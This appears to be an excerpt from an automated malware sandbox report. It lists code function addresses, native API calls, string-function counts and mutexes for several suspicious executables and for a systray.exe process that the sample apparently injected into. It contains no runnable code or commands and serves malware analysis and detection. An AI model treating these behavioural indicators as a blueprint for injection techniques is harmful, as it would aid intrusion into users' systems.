Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2AF0 NtWriteFile,LdrInitializeThunk,	9_2_04DE2AF0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	9_2_04DE2BF0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2BE0 NtQueryValueKey,LdrInitializeThunk,	9_2_04DE2BE0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2BA0 NtEnumerateValueKey,LdrInitializeThunk,	9_2_04DE2BA0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2B60 NtClose,LdrInitializeThunk,	9_2_04DE2B60
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE3090 NtSetValueKey,	9_2_04DE3090
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE3010 NtOpenDirectoryObject,	9_2_04DE3010
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2CC0 NtQueryVirtualMemory,	9_2_04DE2CC0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2CF0 NtOpenProcess,	9_2_04DE2CF0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2C00 NtQueryInformationProcess,	9_2_04DE2C00
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2DB0 NtEnumerateKey,	9_2_04DE2DB0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE3D70 NtOpenThread,	9_2_04DE3D70
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE3D10 NtOpenProcessToken,	9_2_04DE3D10
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2D00 NtSetInformationFile,	9_2_04DE2D00
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2EA0 NtAdjustPrivilegesToken,	9_2_04DE2EA0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2E30 NtWriteVirtualMemory,	9_2_04DE2E30
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2F90 NtProtectVirtualMemory,	9_2_04DE2F90
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2FA0 NtQuerySection,	9_2_04DE2FA0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2F60 NtCreateProcessEx,	9_2_04DE2F60
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2AB0 NtWaitForSingleObject,	9_2_04DE2AB0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2B80 NtQueryInformationFile,	9_2_04DE2B80
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BD9740 NtReadFile,	9_2_02BD9740
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BD95D0 NtCreateFile,	9_2_02BD95D0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BD9A40 NtAllocateVirtualMemory,	9_2_02BD9A40
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BD98D0 NtClose,	9_2_02BD98D0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BD9830 NtDeleteFile,	9_2_02BD9830
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04BBF1C6 NtQueryInformationProcess,	9_2_04BBF1C6

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4_2_00007FF848AC0813	4_2_00007FF848AC0813
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4_2_00007FF848AC0600	4_2_00007FF848AC0600
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4_2_00007FF848AC05A0	4_2_00007FF848AC05A0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007E89D3	5_2_007E89D3
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007FF0B3	5_2_007FF0B3
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007E01A2	5_2_007E01A2
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007E01A3	5_2_007E01A3
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007D22E0	5_2_007D22E0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007D22DC	5_2_007D22DC
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007D2A80	5_2_007D2A80
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007E6BD3	5_2_007E6BD3
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007E6BCE	5_2_007E6BCE
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007E03C3	5_2_007E03C3
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007DE3B3	5_2_007DE3B3
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007DE3B2	5_2_007DE3B2
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007DE4FD	5_2_007DE4FD
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007DE503	5_2_007DE503
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007D2F50	5_2_007D2F50
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007D2F47	5_2_007D2F47
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01468158	5_2_01468158
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_014AB16B	5_2_014AB16B
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0141516C	5_2_0141516C
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013D0100	5_2_013D0100
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013CF172	5_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0147A118	5_2_0147A118
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_014981CC	5_2_014981CC
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013EB1B0	5_2_013EB1B0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_014A01AA	5_2_014A01AA
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0148F0CC	5_2_0148F0CC
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_014970E9	5_2_014970E9
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0149F0E0	5_2_0149F0E0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013E70C0	5_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0149A352	5_2_0149A352
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0149132D	5_2_0149132D
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013CD34C	5_2_013CD34C
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_014A03E6	5_2_014A03E6
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013EE3F0	5_2_013EE3F0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0142739A	5_2_0142739A
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01480274	5_2_01480274
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013E52A0	5_2_013E52A0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_014812ED	5_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013FB2C0	5_2_013FB2C0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013E0535	5_2_013E0535
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01497571	5_2_01497571
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_014A0591	5_2_014A0591
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0147D5B0	5_2_0147D5B0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01492446	5_2_01492446
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013D1460	5_2_013D1460
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0149F43F	5_2_0149F43F
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0148E4F6	5_2_0148E4F6
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01404750	5_2_01404750
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013E0770	5_2_013E0770
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0149F7B0	5_2_0149F7B0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013DC7C0	5_2_013DC7C0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_014916CC	5_2_014916CC
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013FC6E0	5_2_013FC6E0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013F6962	5_2_013F6962
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013E9950	5_2_013E9950
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013FB950	5_2_013FB950
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013E29A0	5_2_013E29A0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_014AA9A6	5_2_014AA9A6
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0144D800	5_2_0144D800
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013EA840	5_2_013EA840
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013E2840	5_2_013E2840
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013C68B8	5_2_013C68B8
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0140E8F0	5_2_0140E8F0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013E38E0	5_2_013E38E0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0149AB40	5_2_0149AB40
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0149FB76	5_2_0149FB76
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01496BD7	5_2_01496BD7
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01455BF0	5_2_01455BF0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0141DBF9	5_2_0141DBF9
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013FFB80	5_2_013FFB80
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0149FA49	5_2_0149FA49
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01497A46	5_2_01497A46
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01453A6C	5_2_01453A6C
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0148DAC6	5_2_0148DAC6
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013DEA80	5_2_013DEA80
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01425AA0	5_2_01425AA0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0147DAAC	5_2_0147DAAC
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01491D5A	5_2_01491D5A
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01497D73	5_2_01497D73
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013EAD00	5_2_013EAD00
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013E3D40	5_2_013E3D40
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013F8DBF	5_2_013F8DBF
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013DADE0	5_2_013DADE0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013FFDC0	5_2_013FFDC0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013E0C00	5_2_013E0C00
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01459C32	5_2_01459C32
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0149FCF2	5_2_0149FCF2
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013D0CF2	5_2_013D0CF2
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01480CB5	5_2_01480CB5
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01454F40	5_2_01454F40
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0149FF09	5_2_0149FF09
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01422F28	5_2_01422F28
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01400F30	5_2_01400F30
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013E1F92	5_2_013E1F92
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013ECFE0	5_2_013ECFE0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013D2FC8	5_2_013D2FC8
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0149FFB1	5_2_0149FFB1
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013E0E59	5_2_013E0E59
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0149EE26	5_2_0149EE26
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013E9EB0	5_2_013E9EB0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0149EEDB	5_2_0149EEDB
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013F2E90	5_2_013F2E90
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_0149CE93	5_2_0149CE93
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015FC919	8_2_015FC919
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015E2B99	8_2_015E2B99
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015DDA09	8_2_015DDA09
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015DDA08	8_2_015DDA08
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015E6239	8_2_015E6239
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015DBD69	8_2_015DBD69
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015DBD63	8_2_015DBD63
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015DBC19	8_2_015DBC19
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015DBC18	8_2_015DBC18
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015E4439	8_2_015E4439
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015E4434	8_2_015E4434
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015DDC29	8_2_015DDC29
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E5E4F6	9_2_04E5E4F6
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E62446	9_2_04E62446
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DA1460	9_2_04DA1460
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E6F43F	9_2_04E6F43F
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E4D5B0	9_2_04E4D5B0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E70591	9_2_04E70591
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E67571	9_2_04E67571
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DB0535	9_2_04DB0535
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E616CC	9_2_04E616CC
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DCC6E0	9_2_04DCC6E0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DAC7C0	9_2_04DAC7C0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E6F7B0	9_2_04E6F7B0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DD4750	9_2_04DD4750
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DB0770	9_2_04DB0770
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E6F0E0	9_2_04E6F0E0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E670E9	9_2_04E670E9
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DB70C0	9_2_04DB70C0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E5F0CC	9_2_04E5F0CC
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E681CC	9_2_04E681CC
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E701AA	9_2_04E701AA
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DBB1B0	9_2_04DBB1B0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E7B16B	9_2_04E7B16B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04D9F172	9_2_04D9F172
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE516C	9_2_04DE516C
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DA0100	9_2_04DA0100
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E4A118	9_2_04E4A118
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E512ED	9_2_04E512ED
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DCB2C0	9_2_04DCB2C0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DB52A0	9_2_04DB52A0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E50274	9_2_04E50274
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E703E6	9_2_04E703E6
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DBE3F0	9_2_04DBE3F0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DF739A	9_2_04DF739A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04D9D34C	9_2_04D9D34C
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E6A352	9_2_04E6A352
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E6132D	9_2_04E6132D
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E6FCF2	9_2_04E6FCF2
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DA0CF2	9_2_04DA0CF2
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E50CB5	9_2_04E50CB5
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E29C32	9_2_04E29C32
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DB0C00	9_2_04DB0C00
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DCFDC0	9_2_04DCFDC0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DAADE0	9_2_04DAADE0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DC8DBF	9_2_04DC8DBF
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E67D73	9_2_04E67D73
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DB3D40	9_2_04DB3D40
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E61D5A	9_2_04E61D5A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DBAD00	9_2_04DBAD00
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E6EEDB	9_2_04E6EEDB
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DC2E90	9_2_04DC2E90
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DB9EB0	9_2_04DB9EB0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E6CE93	9_2_04E6CE93
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DB0E59	9_2_04DB0E59
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E6EE26	9_2_04E6EE26
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DA2FC8	9_2_04DA2FC8
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DBCFE0	9_2_04DBCFE0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DB1F92	9_2_04DB1F92
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E6FFB1	9_2_04E6FFB1
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E24F40	9_2_04E24F40
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DD0F30	9_2_04DD0F30
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E6FF09	9_2_04E6FF09
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DF2F28	9_2_04DF2F28
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DDE8F0	9_2_04DDE8F0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DB38E0	9_2_04DB38E0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04D968B8	9_2_04D968B8
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DB2840	9_2_04DB2840
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DBA840	9_2_04DBA840
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E7A9A6	9_2_04E7A9A6
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DB29A0	9_2_04DB29A0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DB9950	9_2_04DB9950
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DCB950	9_2_04DCB950
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DC6962	9_2_04DC6962
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E5DAC6	9_2_04E5DAC6
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E4DAAC	9_2_04E4DAAC
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DAEA80	9_2_04DAEA80
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DF5AA0	9_2_04DF5AA0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E23A6C	9_2_04E23A6C
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E67A46	9_2_04E67A46
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E6FA49	9_2_04E6FA49
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DEDBF9	9_2_04DEDBF9
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E66BD7	9_2_04E66BD7
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DCFB80	9_2_04DCFB80
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E6FB76	9_2_04E6FB76
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04E6AB40	9_2_04E6AB40
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BC2160	9_2_02BC2160
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BBB330	9_2_02BBB330
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BBB32A	9_2_02BBB32A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BBD1F0	9_2_02BBD1F0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BBB1E0	9_2_02BBB1E0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BBB1DF	9_2_02BBB1DF
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BC3A00	9_2_02BC3A00
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BC5800	9_2_02BC5800
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BC39FB	9_2_02BC39FB
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BDBEE0	9_2_02BDBEE0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BBCFD0	9_2_02BBCFD0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BBCFCF	9_2_02BBCFCF
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04BBE453	9_2_04BBE453
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04BBE7ED	9_2_04BBE7ED
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04BBE334	9_2_04BBE334
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04BBD8B8	9_2_04BBD8B8

Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: String function: 0145F290 appears 105 times
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: String function: 013CB970 appears 268 times
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: String function: 01427E54 appears 96 times
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: String function: 01415130 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: String function: 0144EA12 appears 86 times
Source: C:\Windows\SysWOW64\systray.exe	Code function: String function: 04D9B970 appears 266 times
Source: C:\Windows\SysWOW64\systray.exe	Code function: String function: 04DE5130 appears 36 times
Source: C:\Windows\SysWOW64\systray.exe	Code function: String function: 04E2F290 appears 105 times
Source: C:\Windows\SysWOW64\systray.exe	Code function: String function: 04DF7E54 appears 88 times
Source: C:\Windows\SysWOW64\systray.exe	Code function: String function: 04E1EA12 appears 84 times

Source: x.exe.2.dr	Static PE information: No import functions for PE file found
Source: RegAAsm.exe.4.dr	Static PE information: No import functions for PE file found

Source: C:\Users\user\AppData\Local\Temp\x.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6532:120:WilError_03

